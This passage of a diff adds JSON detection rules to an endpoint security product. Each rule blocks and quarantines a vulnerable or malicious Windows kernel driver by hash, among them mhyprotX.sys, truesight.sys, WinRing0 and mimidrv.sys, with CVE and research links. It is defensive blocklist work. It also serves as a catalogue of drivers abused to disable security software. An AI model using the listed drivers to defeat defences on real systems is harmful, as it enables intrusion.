+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f18605a691056b446c6411b7fa841b8178059bde8094cfe9013e59f4663cdf7f",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98a659ff-17ff-5c38-95da-995b3f7d75e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155718Z",
+  "creation_date": "2026-03-23T11:45:31.155720Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155726Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "74bc7ae43c81d7d15c53d1182a7c531928849af5a8f7a0efc330b1c06a1fd124",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98a71bc1-72a2-5132-91a8-247c20d6bfaa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475283Z",
+  "creation_date": "2026-03-23T11:45:31.475286Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475296Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e1505e946a9a25ab41592508a479846bfaaddcd7e78216cb199dec969247de48",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98a7d636-307f-56a3-8f0b-2207a6af3762",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476820Z",
+  "creation_date": "2026-03-23T11:45:31.476824Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476833Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a4c13dd5f92998c181129822281408859e2aad4616d3f05f935c0e9ccd19137",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98accf8d-268d-5b0c-afd5-f4afb4f1f8cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828507Z",
+  "creation_date": "2026-03-23T11:45:30.828509Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828515Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "665dc47a18dbaa857591a35072a24032c26a05167823950dda3f2b5791ae027c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98bcf4cc-3020-5c16-9f72-d3dada4c6ed5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826084Z",
+  "creation_date": "2026-03-23T11:45:31.826086Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826092Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f2d89424cae23b487c0f580f69cdb0ea2da8a58bc038f554e3fed210776bff35",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98bd7951-ad9a-5726-8f32-85a341713d30",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974333Z",
+  "creation_date": "2026-03-23T11:45:29.974334Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974340Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ad7bdf11a7ce7296a06eb4f14091df84fafdb04413e714f09f9ea6c686a1323",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98c2e70b-1d51-53f5-9ed4-2f3fe7196040",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617202Z",
+  "creation_date": "2026-03-23T11:45:29.617204Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617209Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47eaebc920ccf99e09fc9924feb6b19b8a28589f52783327067c9b09754b5e84",
+  "comment": "Noriyuki MIYAZAKI's WinRing0 dangerous driver (aka WinRing0x64.sys) [CVE-2020-14979] [https://www.loldrivers.io/drivers/f0fd5bc6-9ebd-4eb0-93ce-9256a5b9abf9/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98c3c19b-90c1-5c90-a9de-8a522f13d080",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817686Z",
+  "creation_date": "2026-03-23T11:45:31.817689Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817697Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "901a8d1e209b63a83a16d870a5563a2d51db27f1bea484f42f234fc8ee0d6595",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98c6e807-cc00-5ede-8bd1-771b12ac761b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143594Z",
+  "creation_date": "2026-03-23T11:45:32.143596Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143602Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c35cab244bd88bf0b1e7fc89c587d82763f66cf1108084713f867f72cc6f3633",
+  "comment": "Vulnerable Kernel Driver (aka DcProtect.sys) [https://www.loldrivers.io/drivers/7cee2ce8-7881-4a9a-bb18-61587c95f4a2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98c70085-c674-592c-ae8e-bca53da23384",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985740Z",
+  "creation_date": "2026-03-23T11:45:29.985742Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985748Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "23e89fd30a1c7db37f3ea81b779ce9acf8a4294397cbb54cff350d54afcfd931",
+  "comment": "Malicious Kernel Driver (aka malicious.sys) [https://github.com/zeze-zeze/CYBERSEC2023-BYOVD-Demo] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98d18dc5-d517-5700-b173-f61ea7994452",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810415Z",
+  "creation_date": "2026-03-23T11:45:31.810417Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810423Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "90c0b84e071d00031d7c429b667af2df9caaf83e2ad5df14606016dc26006893",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "98daac20-5062-5e00-ab18-49c14c5188ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810930Z",
+  "creation_date": "2026-03-23T11:45:31.810932Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810938Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b3a2145383699b2bec4d5c54ee6ccabeb3b1ce316db81cccc5fac2d40ee5564",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99078a23-fb8c-5c6d-b22b-ea7812c56b61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143096Z",
+  "creation_date": "2026-03-23T11:45:32.143098Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143103Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a41e9bb037cf1dc2237659b1158f0ed4e49b752b2f9dae4cc310933a9d1f1e47",
+  "comment": "Vulnerable Kernel Driver (aka echo_driver.sys) [https://www.loldrivers.io/drivers/afb8bb46-1d13-407d-9866-1daa7c82ca63/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99078e89-79b3-52a8-9d89-cb693ed496ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.452738Z",
+  "creation_date": "2026-03-23T11:45:30.452742Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.452751Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "feef191064d18b6fb63b7299415d1b1e2ec8fcdd742854aa96268d0ec4a0f7b6",
+  "comment": "Vulnerable Kernel Driver (aka fiddrv64.sys) [https://www.loldrivers.io/drivers/64f3d4b0-6d2b-4275-b3d4-15d092af4092/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "990e9f03-dc6a-5661-8f56-3b342d77e12f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157101Z",
+  "creation_date": "2026-03-23T11:45:31.157103Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157108Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e97da3dd77998a3b28a21f73d996613b10926dca1496f66f2aa928e44e967ea5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "990ea36a-da4f-5779-9c6e-d27330140e6c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480843Z",
+  "creation_date": "2026-03-23T11:45:31.480846Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480854Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e53f7184c76652cb62d46440b14c331ae2e27018497d827d125169c959dc2950",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9917aa9c-8f2e-52dd-ab92-c987e6b2976a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610104Z",
+  "creation_date": "2026-03-23T11:45:29.610106Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610112Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a9d481ffdc5c1e2cb50cf078be32be06b21f6e2b38e90e008edfc8c4f2a9c4e",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "991b5bca-5c20-5b7c-a3d5-61827690242a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980413Z",
+  "creation_date": "2026-03-23T11:45:29.980415Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980420Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e77786b21dbe73e9619ac9aac5e7e92989333d559aa22b4b65c97f0a42ff2e21",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99253507-6863-50b3-85a6-77bf8607ef07",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146801Z",
+  "creation_date": "2026-03-23T11:45:32.146803Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146808Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a2a0f9c56ee9bf7b62e1d4e1929d13046cd78a93d8c607fe4728cc5b1e8d050",
+  "comment": "Vulnerable Kernel Driver (aka CSAgent.sys) [https://www.loldrivers.io/drivers/9974b134-7fee-4c7a-9b0d-38b3b2d7e957/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "99281d70-da9e-580a-9d01-b8d73c63f114",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972474Z",
+  "creation_date": "2026-03-23T11:45:29.972476Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972481Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "58a74dceb2022cd8a358b92acd1b48a5e01c524c3b0195d7033e4bd55eff4495",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "992e2097-5c6e-5899-a3b6-c9435436ec22",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470520Z",
+  "creation_date": "2026-03-23T11:45:30.470524Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470535Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e1b3a3a67599aae12c073ba5ca0928c2c316d438c2b5462194c97687dda64903",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "992f4778-07a1-5cdc-bd68-6de12f3fdcc5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835928Z",
+  "creation_date": "2026-03-23T11:45:30.835930Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835935Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0beeaa2d2dc2bb86bfbf82651967d3edff104c565cf94b57b853adc70e8429fb",
